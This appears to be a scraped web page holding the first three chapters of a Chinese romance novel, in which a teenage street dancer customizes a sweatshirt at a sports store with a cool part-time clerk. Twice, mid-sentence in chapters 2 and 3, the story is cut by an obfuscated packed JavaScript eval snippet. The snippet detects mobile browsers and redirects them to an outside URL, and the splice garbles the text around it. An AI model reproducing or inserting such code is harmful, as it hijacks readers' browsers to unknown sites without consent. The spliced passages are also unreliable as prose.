《心动风暴降临时》 1. 第 1 章 九月初的江洲晴空万里，午后骄阳似火，林荫树梢蝉鸣嘹亮，暑气逼人。 一辆出租车在柏风商场对面路口缓缓停下。 车停稳，司机大哥开口：“到了啊。” 坐在车后排，戴眼镜的女生抬头看了眼窗外，立马语气不满抱怨起来：“哎，怎么停这里？还没到商场呢！” 司机指了指手机导航，淡定解释：“刚才就和你们说了嘛，这段路临时交通管制不让过，车开不过去的，你看，交警不就在那儿拦着么。” “有没有搞错啊！”女生眉头紧蹙，抬高嗓门发脾气，“那外头这么热的天，我还得自己走过去啊？？？” 她又说：“你开过去试试呗。” 司机当然不干，回呛一声：“到时候扣分罚钱记你账上？” “哎算了算了，跑过去吧。”女生朋友懒得争论下去，一边劝，一边背上包，准备下车。 车门推开，燥热暑气瞬间涌入车内，十字路口的绿灯倒数跳动着，两女生默契拿手挡在额头前，百米冲刺狂奔向马路对面。 眼看后排上帝终于走了，司机继而扭头，脸色深沉看向稳如泰山坐在副驾驶，手机信息一路嗡嗡嗡，业务格外繁忙的这位上帝。 心情有那么些复杂，司机心想，服务行业是真难做。 就刚才和他高声嚷嚷的戴眼镜小姑娘，外表倒是看着文静乖乖女，谁知道一张嘴，脾气居然不小。 所以说，眼前这位黑长发编成四股拳击辫，身穿雾霾蓝涂鸦短袖，纯白阔腿工装裤，整个人打扮看上去又酷又飒的漂亮小姑娘，岂不是脾气更坏，更难缠咯？？？ 司机再次感叹，服务行业是真难做。 被扣上坏脾气帽子的姜织宁此时戴着蓝牙耳机，正低头忙碌回复着街舞机构音暴的群消息。 她全程一言不发，并没有关心刚才争论，等收起手机，回过神时，就见后排两乘客突然摔门下车。 姜织宁下意识扭头看向司机。 司机以为她也要张嘴为难人，指了指车门，先发制人说：“小姑娘，你也是去柏风商场吧？交通管制，得自己走过去啊。” 姜织宁瞥了眼车窗外无比毒辣的阳光，想起自己没带遮阳伞，神情蔫巴，轻叹一口气。 本着太阳可以晒到身体任何地方，但绝不能毒害她宝贝头发的坚定理念，她从包里拿出防晒渔夫帽，对着遮阳板镜子认真戴好，然后礼貌说了声谢谢师傅，利索下车。 烈日悬挂高空，路口红绿灯像是在故意和行人作对，等待时间格外漫长。 天气实在太热了，暴晒之下一跑就出汗，眼看商场正门过于遥远，为了避免脸上出汗脱妆，姜织宁穿过马路一路疾走，最后闪进距离最近的商场一楼沿街奶茶店。 推门进去，奶茶店几乎爆满，点单取单的客人们围挤成一团，现场乱糟糟的。 “不用排队！扫码小程序可以点单！” “不用排队！扫码小程序可以点单！” 店员出来维持秩序，扯着喉咙，每隔五秒高喊一次。 姜织宁垫脚环顾四周，寻了个角落拼桌位坐下，先把桌角的点餐二维码拍给好友周静瑶，接着给自己点了杯黑巧牛乳冰。 点好单，手机屏幕切回和周静瑶的聊天框。 【Ning】：我亲爱的周导想喝什么？ 周静瑶迟到了，这会儿人还坐在车里，心急如焚，狂翻白眼。 【周导】：我堵在路上了！晕死，司机说柏风那边临时交通管制，一直在绕路！ 【Ning】：没事，我在奶茶店等你，店里人很多，估计出单不会这么快，你想喝哪个？ 【周导】：好好好，我要暴打柠檬薄荷茶，要冰的哦！爱你爱你！！！ 半小时后，店门被一名短发少女推开。 周静瑶浑身挟裹闷热暑气，一路小跑到姜织宁对面坐下， 蔫了吧唧靠到椅背上，开始翻白眼骂空气：“这鬼天气是要索我的命吗？！暑假都过了，居然还三十九度高温！我整个人都快被烤快化了！” 说话时她用手当扇子，拼命冲着发烫脸颊挥动，试图降下脸上高温。 姜织宁弯唇笑起来，把柠檬薄荷茶推到周静瑶面前，又递给她一张纸巾示意她擦擦汗，建议说：“那要不要休息一会儿再去Equa？” Equa是最近市面上很受消费者追捧的知名体育运动品牌，品牌旗下主营服饰、配饰、运动鞋等产品，常年赞助各类体育赛事。 尤其在Equa连续成功推出一系列风格潮酷的跨界联名款之后，更是直接在年轻人群体中席卷起一股抢购热潮。 今年上半年的时候，Equa新推出定制体验服务，姜织宁偶然看到后，便好奇去网上搜了下。Equa官网介绍说，消费者可以在店内Diy出全球独一无二的专属衣服。 介绍看得她挺心动，于是叫上周静瑶，一起去线下专柜体验Diy。 原本是就近原则道理，姜织宁预约的并不是市中心这家Equa概念零售总店，但周静瑶非要舍近就远，约到总店这边来。 姜织宁纳闷询问：“为什么？” 周静瑶嬉皮笑脸告诉姜织宁，她在网上做Diy攻略时，发现互联网上的好姐妹们都强烈推荐去Equa市中心总店，因为总店的店员颜值超级高，全是大帅哥大美女！ 而且不只是多，是—— 特！ 别！ 多！ 作为在校女高中生一枚，平日学业繁重辛苦，也早就看够了学校里的那帮臭屁幼稚男生，这千载难逢的好机会，那不得赶过来看看大帅哥，好好洗一洗眼睛，打打鸡血吗！ 周静瑶猛吸好几口冰饮，冰凉入胃，浑身上下舒爽得不行，原本告急的血条重升至百分之一百状态。 “哎，总算活过来了！”她满足眯了眯眼，歪头看着姜织宁，活力满满地说，“不用休息，我已经满血复活了！等会儿你不是还要表演吗，再休息就来不及了吧？” 姜织宁看了眼手机群消息，回她：“来得及，刚才群里说表演延后。” 姜织宁平时在外上课的街舞机构——音暴，这两天联合官方舞蹈协会，在柏风商场里举办青少年街舞大赛。 比赛中场休息时，会穿插几次音暴自家舞团的街舞表演，由于舞团中某位参加表演的女生突然家里有急事来不了，音暴那边只好临时拉姜织宁过来救场。 周静瑶吸着饮料，突然倾身向前。 她近距离打量了姜织宁一会儿，真诚献上彩虹屁：“天，我家宁王在发光哎，好美好酷！这是什么青春活力女高啊，简直看得我千年老寒尸原地复活！” 说完，周导自动上身，一边从包里拿相机，一边指挥姜织宁坐姿：“这里光线好好！快快快，趁现在有光，赶紧让我拍几张照片！” 周静瑶酷爱摄影，是江洲中学摄影社的副社长，立志以后成为一名自由万岁的女导演，所以外号周导。 她相机永远随身携带，喜欢拍人拍景，也喜欢录小视频做成vlog，而姜织宁就是她的专属模特，两人多年老搭档，默契得很。 照片很快拍完，正准备离开时，旁边刻意等待着的年轻男人迅速起身走到姜织宁面前，笑着对她说：“同学打扰了，请问你是附近高中的学生吗？是艺考生吗？” “干嘛啊？”周静瑶目光警惕拦了下。 “你们别紧张哈，我不是坏人。”男人从口袋里拿出名片递给姜织宁，和声解释，“我是季嘉娱乐合作摄影师，觉得这位同学形象特别出众，方不方便为你拍几张照片，传给我们公司的星探看看呢？” 姜织宁愣了下，没正眼看名片，直接摇头拒绝：“不好意思我不是艺考生，不方便拍照。” 周静瑶接过名片瞧了眼，没忍住，轻笑出声。 心想，又来一个碰壁的。 男人显然没想到会被拒绝的这么快，想了想，换了条迂回路线，不那么商业化地建议：“那同学以后有考虑走艺考这条路吗？像雾京电影学院、江洲戏剧学院这种，其实你外形条件很适合艺考的，要是能考进专业学校学表演，说不定以后能做明星呢。” 姜织宁脸色淡然，果断干脆拒绝：“谢谢，不考虑。” 男人愣住。 这都不动心？ 现在好多小朋友，拼了命想挤进娱乐圈做大明星哎！ 男人微笑注视着姜织宁，契而不舍地说：“我看你们刚才也在拍照......” 周静瑶挽上姜织宁胳膊，一边拉她离开，一边笑眯眯回男人：“哎呀，那都是我们自己拍着玩儿的，不好意思，我朋友没那方面想法，不用问了啊。” 其实男人一开始就觉得姜织宁有点眼熟，但没想起来到底在哪见过，眼看人要走了，终于脑子里灵光一闪，记起来她是谁。 他几步追上来，试探询问姜织宁：“哎同学，你小时候是不是演过电影《记忆》啊？” 没等姜织宁反应，周静瑶已经化身成专业经纪人，姿势熟练挡住男人，答非所问转移话题：“不考虑，真的不考虑，谢谢谢谢！别跟了啊！” 男人被拦着，不得不止步。 他皱眉望着姜织宁越走越远的背影，自言自语犯嘀咕，应该是她吧，那个多年前演过电影《记忆》的童星。 奶茶店后门可以直接进商场，周静瑶用力推开玻璃门，拐进商场后，双手环到胸前，转身面朝姜织宁，姿态懒洋洋地倒退走。 她一边走，一边歪头调侃：“可以啊，我们宁王同学不混江湖好多年，江湖却依然有她的传说～” 姜织宁没理会周静瑶调侃，扬唇提醒她：“你不要倒退走啊，小心撞到人，很危险的。” 两人一路闲聊，搭乘扶梯至商场四楼，穿过中庭，走向Equa总店门口。 其实一到四楼都是Equa的地盘，只不过定制实验室设在四楼，便直接上来了。 进店后，有工作人员迎上来。 姜织宁拿出手机，找到线上电子申请码，说预约了定制服务。 工作人员在平板上登记好预约信息，微笑引导顾客往里走，同时说：“您先在店里挑选好喜欢的衣服，然后直接拿衣服来实验室就可以，我们服饰在三楼和四楼哦。” 姜织宁先在夏款短袖区逛了一会儿，接着走向秋季新款区域挑选，心里在犹豫纠结，这个天气到底是买短袖好还是买卫衣好。 虽然眼下气候炎热，但是江洲天气一向变幻莫测很说不准，说降温就降温，毫无防备，特别任性。 而另一边的周静瑶就很随意了，完全没有这些顾虑，态度相当敷衍，随便抓了件基础款宽松白T就算完事。 姜织宁有些震惊，问她：“这么快，你就拿件短袖？过几天好像要降温哎。” 周静瑶眼睛像雷达似的，正忙碌扫射着四方帅哥，她满不在乎摆摆手，用一种老阿姨的过来人语气胡乱回：“我年纪轻，我不怕冷，我身体好。” 姜织宁：“......” 比起衣服，周静瑶显然对帅哥兴趣更大，她一边看帅哥，一边时不时在姜织宁耳边恶魔呢喃。 “哇塞，这个帅这个帅！翻版吴彦祖，都市冷感男！我喜欢！” “哈哈哈，一点方向还有美少年小奶狗，撕漫男plus！呃......他看到我了，还在冲我笑！ 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说完，嬉皮笑脸蹦到姜织宁身边，手肘轻撞她两下，语气兴奋：“哎你看你看！斜前方四十五度角方向，那个带白色口罩的男生，感觉也很帅！不过他戴口罩干嘛？是明星吗？” 姜织宁没看，顾自弯腰拿货架上的运动鞋。 “啧，你快看啊！” 周静瑶表情不满，往姜织宁背上猛拍一掌。 “......” 手被铁砂掌拍地一抖，运动鞋掉到地上，姜织宁人麻了，不得不叹气起身，抬眼看过去。 目光所及，周静瑶嘴里带白色口罩的年轻帅哥站在不远处，大半个身子侧朝向她们。 他站姿有些懒散，左手浅揣裤兜，右手松弛拿着黑白配色的网球拍，与另外两个拿网球拍的年轻男生说笑着。 网球少年？ 视线自然滑落到他手里的网球拍上，她脑子里开起小差，自言自语嘀咕了句：“Equa产品线这么广的吗，什么时候卖起网球拍了？“ 大概是家里姑姑最近在学网球的原因，姜织宁不禁多打量了口罩帅哥几眼。 他人很高，目测绝对有一米八五以上，头发乌黑蓬松，穿了一身黑，利落有型，衣品在线，浑身上下散发出一股生人误近的冷酷感。 恩，看着就不太好接近的样子。 姜织宁又仔细观察两眼，很快认出他身上穿的是Equa与野生动物保护协会合作的限定联名款，上周刚上市，门店一直断货，代购都抢不到。 他五官被口罩挡着，唯一露出的眉眼因为距离原因看不太清楚，但她承认周静瑶没瞧走眼，这位确实是帅的，整个人很有酷哥的氛围感。 不过脸上戴着口罩嘛...... 姜织宁内心还是有点保留意见的，心想也有可能是诈骗，说不定酷哥摘下口罩就见光死了呢？ 但是吧，不管是真帅哥还是假帅哥，周静瑶老在她耳边这么一惊一乍，大呼小叫，导致她听到后面，耳朵都有些受不了。 姜织宁收回视线，从架子上拿了件樱粉色薄卫衣，无语打断喋喋不休的好友：“周导，你能不能不要用这么饥渴的语气在我耳边恶魔发言，真的很像那什么。” 周静瑶不满冷哼：“什么那什么，有话直说！” 姜织宁脑子里搜罗了一些措辞，最后毫不客气地评价：“老色批。” 周静瑶：“......” 逛了一圈后，两人拿着各自选好的衣服，找到店员，店员将她们带入收银台旁边的定制实验室。 实验室面积很大，几面贴满品牌物料的落地玻璃将整体空间一分为二，里侧是操作间，摆放了数台制作机器，外面是开放给顾客的Diy区域。 姜织宁好奇环顾四周，发现墙面上挂着各式各样的参考成品，衣服、裤子、帽子都有，中央区域的金属长桌围坐着数名顾客，各自低头在平板上写写画画。 周末的原因，市中心这家又是Equa总店，所以现在店内相当忙碌，人手不够。 姜织宁很有眼力见，友好将那位翻版吴彦祖帅哥店员让给周静瑶，自己则退到一边，耐心等待店员去给她找人来。 外头收银台已经排成夸张长龙，其他同事要么在仓库理货，要么手头都有事，店员健步如飞，探头探脑在店里找了一圈，就是没抓到合适人选。 正打算自己上时，眼睛突然瞄见一位闲人，那闲人刚好拐进收银台内侧，随意找了个角落位置坐下。 店员双眼放光，如同看到救命稻草般，立马笑眯眯小跑到闲人面前，殷切关心：“译衍，身体感觉还好吗？” 柯译衍低头给平板插上充电线，倦懒低嗯一声。 他最近被传染重感冒，快好了，但嗓音还是有点哑，鼻音也重。 店员又问：“那你现在有空吗？？？” 柯译衍偏头轻咳一声，抬眸反问：“怎么了？” 店员双手合十，冲他讨好笑起来，说：“帮个忙哈，有位顾客在实验室里等着Diy，现在店里忙得要命，严重缺人手，你要是现在有空的话，就去帮她操作一下？拜托啦！” 他刚坐下来，屁股都还没坐热，不过左右没什么紧急事，柯译衍迟疑两秒后，放下平板，配合起身。 “行。” 店员咧嘴笑，做作抹眼泪感动状。 柯译衍慢悠悠往实验室方向走去，店员冲他背影高声提醒一句：“是蓝上衣，白裤子，头发编成辫子，长特别漂亮那个女生哦！” 2. 第 2 章 我就喜欢不正经的 柯译衍走进实验室。 视线按照店员刚才描述的特征扫了圈，一眼找到目标顾客，人就坐在斜对角位置，在低头看什么。 他笔直走到女生身旁，垂眸看着她，平淡开口：“你好。” 女生没反应。 耐心等待数秒，柯译衍发现对方依然捧着手机看视频，并没有搭理他的意思，他不由皱了下眉，侧目瞥了眼手机屏幕。 视频里有帅哥。 一群金发碧眼的外国帅哥在跳街舞，女生全神贯注紧盯屏幕，没有流口水，但显然看得入迷极了。 有这么好看么？ 柯译衍面无表情曲起食指，在女生手腕旁边不轻不重敲了敲桌面。 这是一个编舞团的练习室视频，姜织宁正看到关键片段时，鼻尖突然嗅到一股淡淡的、很好闻的纯净冷调气息。 那股气息，仿佛将她带到了一片雨后初霁，氤氲着水汽和大片冷雾的广袤森林。 紧接着，余光里突然出现一只修长漂亮的手。 她眨了眨眼，下意识扭头看向手主人。 咦？ 居然是刚才那位白色口罩酷哥。 他进来干嘛？ 酷哥平静垂眸目视着她，开口说了句话。 姜织宁没听清，暂停视频，摘下右耳的蓝牙耳机，对他茫然“啊？”了声。 柯译衍耐心平淡重复一遍：“要Diy衣服是吗？” 不知道他为什么这么问，疑惑中，姜织宁还是配合地点了点头。 与此同时，暗暗上下打量着他。 刚才由于距离问题，导致酷哥的长相看不太清，眼下他就站在眼前，正脸目视自己，那双眉眼便一清二楚了。 高眉骨，很薄的单眼皮，眼眸漆黑，像是裹挟冰川的无边际黑色海洋，风平浪静，却蕴含着不容忽视的锐利锋芒。 让人招架不住。 此时他站在暖灯光下，又逆着光，柔和光晕笼罩在他发间，无形削弱了几分冷感气质，整个人盛气蓬勃的少年感更胜一筹。 姜织宁不禁心生错觉，好像，他也没那么不好接近。 还有，她发现这酷哥是真的很高，她这么坐着仰视他，真心特别费脖子。 另一边，柯译衍已经打开了员工平板里的设计程序，他下巴微抬，朝桌上的樱花粉卫衣指了下，淡声同姜织宁确认：“是要Diy这件卫衣么？” “嗯，对......” 听到他这么问，姜织宁后知后觉反应过来，他应该是来服务她的。 所以他是店员？ 姜织宁瞄向他胸口位置，然后目光挪向在场的其他工作人员，奇怪心想，那他怎么没像其他店员一样戴工牌啊？ 柯译衍注意到姜织宁心不在焉，视线四处乱飘，以为她在找什么东西，便问：“要找什么？” 姜织宁回过神来，直白地说：“哦没事，我看你没戴工牌，还以为你不是Equa的工作人员。” 柯译衍愣了下，低头瞧一眼，确实没带工牌。 嗯，是他的问题。 她还真讲究，柯译衍没忍住，短促低笑了声，下一秒又想，警惕点是好事。 姜织宁听见他笑，眼神迷茫：“怎么了吗？” 她说错什么了？ “没事，稍等。”柯译衍对她淡定点了点头。 他快速走到外面，又很快回来，回来后脖子上挂了块橙色工牌，名字那栏是空白，下边职位印着兼职两个字。 一位无名人士，呃……这态度也是很随意了。 柯译衍垂眸注视着姜织宁，目无情绪询问：“可以开始了？” 他有资格上岗了吗？ “可以......” 这酷哥好像有点不耐烦啊，姜织宁默默心想。 柯译衍先给她介绍了一遍Diy流程。 大概意思是，每个人的创作时间限制在半个小时之内，可以自己在平板上绘制要印在衣服上的图案。 如果不想自己画图，也可以直接从Equa官方素材库里选择心仪图案，这样比较简单省事。 介绍完流程，他自然而然地俯身靠近，拿着平板给姜织宁翻看几页官方素材库后，侧目询问她：“你要自己画还是直接选？两者结合也可以。” 其实Equa官方提供的素材都很有趣好看，但姜织宁还是毫不犹豫地说：“我自己画吧。” 柯译衍帮忙点开绘图软件，将平板放到她面前，用笔轻点了点中间的长方形框，公式化提醒：“在这片区域里面画，不要超出边框，过二十分钟左右，我会过来和你确认画面。” 姜织宁接过笔，自信点点头：“好。” 正要离开时，柯译衍临时想到什么，回头补充了句：“我就在收银台那边，有问题随时找我。” 姜织宁翻阅着手机里的参照图，脑子里已经进入创作状态，闻言头也没抬，只是冲他潇洒挥了挥手。 意思不用管我，帅哥你忙去吧。 柯译衍：“......” 柯译衍回到收银台里侧，刚才那位拜托他帮忙的店员正伏在柜台边缘录入系统数据，店员余光瞄见他回来，抬眸问了句：“服务好啦？” 柯译衍给平板开机，嗯了声：“她在画，待会儿再过去。” 店员笑眯眯八卦一句：“怎么样，是不是特别漂亮？” 柯译衍懒散笑了下，没回。 一旁长得像傻脸娜的女生店员一听到漂亮两个字，忍不住好奇凑过来问：“谁啊谁啊？什么特别漂亮？” “就实验室里有个做定制的年轻女生，人长得特好看。”店员解释完，补充一句，“嘶，刚才倒是没发现，现在回想起来，总感觉她有点眼熟，是不是啊译衍？” 女生立马翻了个白眼，不等柯译衍回答，先一步吐槽道：“啊呸，美女你都眼熟！” “我可没有啊！”店员深感冤枉。 * 姜织宁要画的是自家猫咪小狗。 她平时住在爷爷家，家里养了三只猫三条狗，都是老人家陆续收养的流浪小动物，从小养到大，和她感情特别好。 因为身体原因，也为了上下学方便，明天她就要和姑姑一起搬到学校附近的房子住，自然无法和家里小动物天天黏在一起了，所以想着把宠物印到衣服上。 望梅止渴嘛，这样也算是天天见面了。 姜织宁低头在平板上认真画画，随着时间流逝，她忽然产生一种越画越不对劲的错觉，但她没有停笔，仍然坚持不懈地画。 紧接着，经历无数次失败修改，并且越改越糟糕后，她自我妥协放下笔，直勾勾盯着屏幕里的诡异画风，沉思数秒，逐渐皱眉，最后终于意识到问题所在。 姜织宁对自己很无语。 这都画的什么啊...... 原来刚才不是错觉，确实是她画的有问题...... 唉...... 也怪她自己，明知道自己没有绘画功底，还一上来就弄个高难度。 她想画的宠物头像并不是那种常见的可爱萌宠风，而是她平常在家里捕捉到的鬼畜表情包。 这种鬼畜表情包就很考验画画功底，要是画的好，搞笑有趣很还原，要是画不好，那就对不起，很不忍直视了...... 姜织宁左手无力撑着脸颊，直愣愣望着眼前不忍直视的画面，愁容满面，第N叹气。 就怎么说呢，虽然很不想承认，但事实就是这么残酷，那群现实中活泼可爱的猫咪小狗们，此时此刻被她画的—— 很猥琐...... 宛如中年油腻大叔，奇怪讨厌阿姨。 唉...... 姜织宁脸上没什么表情，脑子里却在疯狂无能咆哮。 她能接受愚蠢，但真心接受不了——猥！琐！ 怎么办？ 她瞄了眼时间，已经快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879561|159743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要过去二十分钟，快到时间了，心里不免着急起来。 水平有限无力回天，实在没办法，她只好伸长脖子，四处张望，想找酷哥帮帮忙。 视线飞速扫了圈，发现人不在实验室，姜织宁回想起刚才酷哥的提醒，利索收拾东西站起来，准备去外面收银台外抓人。 巧合的是，她还没抬脚，就见对方从门口走进来。 救命稻草来了！ 她瞬间欣喜睁大眼，冲他高举起右手。 柯译衍掐准时间走进实验室，一进门，看清眼前情景，怔了秒，差点以为自己误入了什么学校课堂。 此刻，眼前的少女和之前清冷话少的疏离状态判若两人。 姜织宁并不是甜妹乖乖女那种长相，她眼型偏长，眼尾上扬，五官精致立体大气，皮相骨相完美，给人感觉像是一颗莹白细腻，圆润饱满，耀眼夺目的昂贵稀有珍珠，一看就知道被家里滋养得很好。 她是童星出身，那副长得张扬夺目的漂亮脸蛋完全是老天爷赏饭，硬照、大荧幕通吃，所以从小到大，她经常被人“颜霸！颜霸！”地叫。 平常不笑时，那双眼睛总会无意识流露出不好相处的清冷感，而此时的她，仿佛换了个人，鲜妍明媚，充满蓬勃生命力。 少女唇角愉悦翘起，漂亮眼眸绽放出晶莹光彩，眉眼弯弯望着他，右手高举着，整个人像是课堂上，翘首以盼被老师点名回答的—— 优秀好学生。 前提是，如果柯译衍没看到她那副惊世大作的话。 少女这幅模样让藏在口罩里的唇角忍不住浅弯了下，柯译衍走到她面前，淡问：“好了是吗？” “好了好了！”姜织宁积极回答，“但是有点小问题，你能不能帮我看看？” 创作过程中，店员可以帮忙适当美化修改，柯译衍点头：“我先看下。” 她笑盈盈地双手递上平板。 柯译衍接过，垂眸看向设计稿，一秒陷入沉默。 应该不是小问题。 这画的什么？ 不是中风歪嘴，就是诡异斜眼...... 猫不猫，狗不狗的，四不像么？ 画风实在很奇怪，不过柯译衍没明说。 他服务态度算不上多热情，但好歹服务情商在线，所以平静心想，也有可能是他的审美问题。 毕竟民间出高手，真正的大艺术家都比较独特，画风是不屑走寻常路的，大艺术家们在白纸上随便画几条线，都能被称之为普通人看不懂的—— 惊、世、大、作。 况且，大艺术家脾气都不太好。 想到这，柯译衍将平板稍微侧向姜织宁，很聪明的礼貌反问：“请问这是？” 姜织宁眨了眨眼，不好意思笑起来：“都是我家养的猫猫狗狗，感觉我画的不太好啊，你能帮我改一下吗？” 哦，原来是自己家里养的，不是江湖上的有仇关系。 柯译衍：“有没有参考图？” “有的。” 她快速从手机里找出表情包给他看。 看完表情包后，柯译衍再次陷入沉默，脑子里只有一个想法—— 这是改一下吗？ 这是改一百下。 几乎要重画的可怕程度。 “好像差的有点多。”他把手机还给姜织宁，实话实说。 姜织宁听完医生诊断，小鸡啄米式点头，表示很理解，然后用饱含期待的眼神注视着他，试探问：“那......还有救吗？” 这种程度，确实有点难办了。 柯译衍沉思片刻，轻叹了口气，问她：“有没有正经一点的图？” “没有，我就喜欢不正经的。”姜织宁下意识回了句。 “......” “......” 话音落下，两人同时陷入沉默，默契的意识到，她这句话说的实在有点......耐人寻味了。 3. 第 3 章 耐人寻味归耐人寻味，柯译衍想的更多的是这位顾客口味独特，事情接下来有点难办，应该怎么调整之类。 而姜织宁这边，脑子里就想的有亿点点多了。 主要是，刚才周静瑶一直在她耳边恶魔低喃，说这个宇宙无敌帅炸，那个很要命很嘶哈，搞得她现在身心被严重污染，不自觉就朝莫名其妙的方向歪想。 思及时，她忍不住用意念骂人—— 周静瑶烦死！ 我就喜欢不正经的...... 姜织宁面无表情心想，这绝对不应该是纯情女高中生、当代花季美少女，会在公共场合说出的虎狼之词。 好烦，果然动过手术的脑子不如原装货好使。 见酷哥若有所思，一直没说话，姜织宁想当然的误以为，他是被她的虎狼之词震惊到说不出话，于是，略不自然地轻咳了声，为自己挽回其实她是个严肃正经人的形象。 “那个——” 视线从屏幕里抬起，柯译衍目视向女生。 姜织宁紧紧盯着他，发觉和刚才一样，他看她的目光格外坦荡，那片黑色深海依然风平浪静，毫无波澜，并没有表现出一丝一毫“原来你是这种人”的嘲笑感。 业务专业，素质在线，真不错。 她暗暗松了口气，淡定解释：“刚才的意思是，我个人比较喜欢这种鬼畜搞笑风，觉得可爱萌宠风有点普通。其实我家养的宠物和别人家的不太一样，就没什么聪明劲吧。” “但也不是真傻，还专门找医生看过，是真不傻，我也搞不太懂为什么。它们性格也很与众不同，很多时候特别鬼畜，要不要给你看看，是真的很有意思......” 喋喋不休，长篇大论。 不理解她为什么要说这么多，但是柯译衍服务在线，一边垂眸浏览平板里的素材库，一边耐心十足听着她的八百字小论文。 最后他冷酷点了点头，惜字如金地说：“了解。” 姜织宁：“......” 她半信半疑看着他。 他这态度......是真了解，还是假了解啊？ 很快，柯译衍从官方素材库里找到参照图，展示给姜织宁看，同时说：“也不是没办法改，但是画风需要调整，像这样行不行？” 她看了眼他找的参考图，眼睛立马亮起来，猛点头：“行行行！” 接下来的时间里，姜织宁亲眼见识到—— 什么叫神笔马良，在线显灵！ 什么叫大佬下场，妙笔生花！ 什么叫华佗附身，起死回生！ 姜织宁侧着上半身，伏趴在桌面上，安静挨凑在大佬酷哥身边，全程歪着脑袋，专心看他修改画面。 只见他拿着笔涂涂改改着，猥琐的画风逐渐走向正常，变成她原本所期望的有趣搞笑风，她唇角越翘越高，越看越满意。 真正的惊世大作很快完成。 姜织宁缓缓睁大眼睛，双眼放光，冲着伟大作品惊叹“哇！”了一声。 “真的太厉害！太棒了！”她冲大佬弯起笑眼，真心诚意地献上赞美之词。 “那就这样？”柯译衍放下笔，随口问了句，“需不需加上你自己？” “加自己？”姜织宁好奇。 他解释：“印宠物的话，有些人会连带画上自己。” 宠物和主人温馨在一起，姜织宁秒懂他意思，想了想说：“那把我的头像画上？” “这样画面太挤了。”柯译衍建议，“也可以用拟物代替。” 姜织宁不敢破坏如此美好的惊世大作，于是虚心请教大佬：“你有什么好的建议吗？” 金属长桌的中间区域安置了一长条金属架，架子上面摆放着各式各样的成品小贴纸。 比如，不同颜色的Equalogo、迷你咖啡杯、卡通星星飞船、英文字母之类。 柯译衍眼皮懒懒掀起，瞥了她一眼，然后下巴冲架子上那轮黄澄澄的弯月亮贴纸指了下，下意识说：“月亮怎么样？” 月亮。 小狗猫咪看月亮？ 什么意思啊，所以她是月亮吗？ 姜织宁脑子不够用了，没琢磨明白，眨了眨眼，歪头看着他，好奇反问：“为什么我是月亮呢？” 气氛突然安静下来，落针可闻。 柯译衍看着她，没说话。 刚才他沉心修改画面，没察觉到不妥，现在被这个引人遐想的危险问题一带，忽然意识反应过来。 他和她，靠得太近了。 彼此之间的距离肉眼可见的暧昧。 由于要一起看小小的平板，所以两人早已不是最初一站一坐着的疏远距离。 就像同桌共用课本似的，身体会不自觉靠到一起，脑袋也挨的很近，手臂几乎快要贴上，呼吸在狭窄空间里隐秘缠绕。 这一刻，女生就这么直勾勾盯着他。 她那双大多数时候看着很清冷的眼睛笑弯着，灵动眼眸里盛满了明亮星星，大概是眼周围涂了亮晶晶眼影的原因，使得双眼变得更加光彩耀眼。 无声对视数秒后，柯译衍不动声色轻咳一声，眼神瞬间冷淡下来。 他状似自然地直起身，率先拉开距离，居高临下盯着姜织宁，语气不冷不热地讲：“顾客选的比较多。” “哦。” 姜织宁没想到他会突然起身，抬起下巴仰视他，似懂非懂点了点头。 柯译衍平淡问：“会画月亮么？” “当然，不就两笔。”姜织宁愉快回，这点能力她还是有的。 画完月亮，选了几个小配件摆好位置，签上自己的名字，Diy终于大功告成。 “半个小时后过来取衣服。” 柯译衍并不热情地扔下这句话，冷酷拿起卫衣，顾自走进操作间。 制作的等待时间不算长，所以姜织宁和周静瑶没有离开店里，直接到楼下看起运动鞋。 姜织宁看中一款鞋，告诉店员尺码，然后坐向旁边软凳，等待店员拿鞋来。 周静瑶挨坐到她身边，一边刷手机，一边闲聊：“你明天就到学校报道吧？” 姜织宁点头。 周静瑶：“确定来一班嘛？” 姜织宁想了想，说：“刘彬刘老师带哪个班？我明天找他。” “一班啊，他是一班的班主任！”周静瑶黏黏糊糊靠到她肩膀上，十分开心，“啊啊啊真好！我们终于可以在同一个班了！好期待啊！！！” 这次能分到同一个班，姜织宁也很高兴。 原本周静瑶和姜织宁是同一届，但周静瑶初中时休学过，所以后面就比姜织宁低了一届。 姜织宁在读高二下半学期时，突然遭遇祸从天降，她长期住院，没办法兼顾学业，家里人和校方商量过后，帮她办理了休学手续，等到9月开学，她跟随着高一那批升上来的新生一起读高二。 周静瑶突然想起一事，说：“哎对了，下个月蔡从生日，我们送他什么啊？” 蔡从，高三生，有钱傲娇大少爷，和两人一样就读于江洲中学，是她俩从出生时就认识的好朋友，三个人从小玩到大，彼此父母关系都很熟。 通常情况下，蔡从因为出手阔绰，经常被周围朋友尊称为—— 蔡总。 但鉴于蔡从经常作风不正，非常狗逼找打，这种时候，姜织宁就会不客气地骂他—— 菜狗。 很显然，这会儿姜织宁对蔡从很不满，一听到他名字就自动拉下脸，没好气地说：“菜狗啊，送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879562|159743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他小天才电话手表怎么样？” 周静瑶愣了秒，拍腿狂笑起来。 “哈哈哈哈哈，可以可以！毕竟他是准高三生了，确实需要小天才随身，咱们祝他以后越来越聪明，不要这么菜狗，啊哈哈哈哈哈！” 试完鞋子不久，手机上收到衣服制作完成的提醒消息，姜织宁拿包站起来，准备上楼拿衣服。 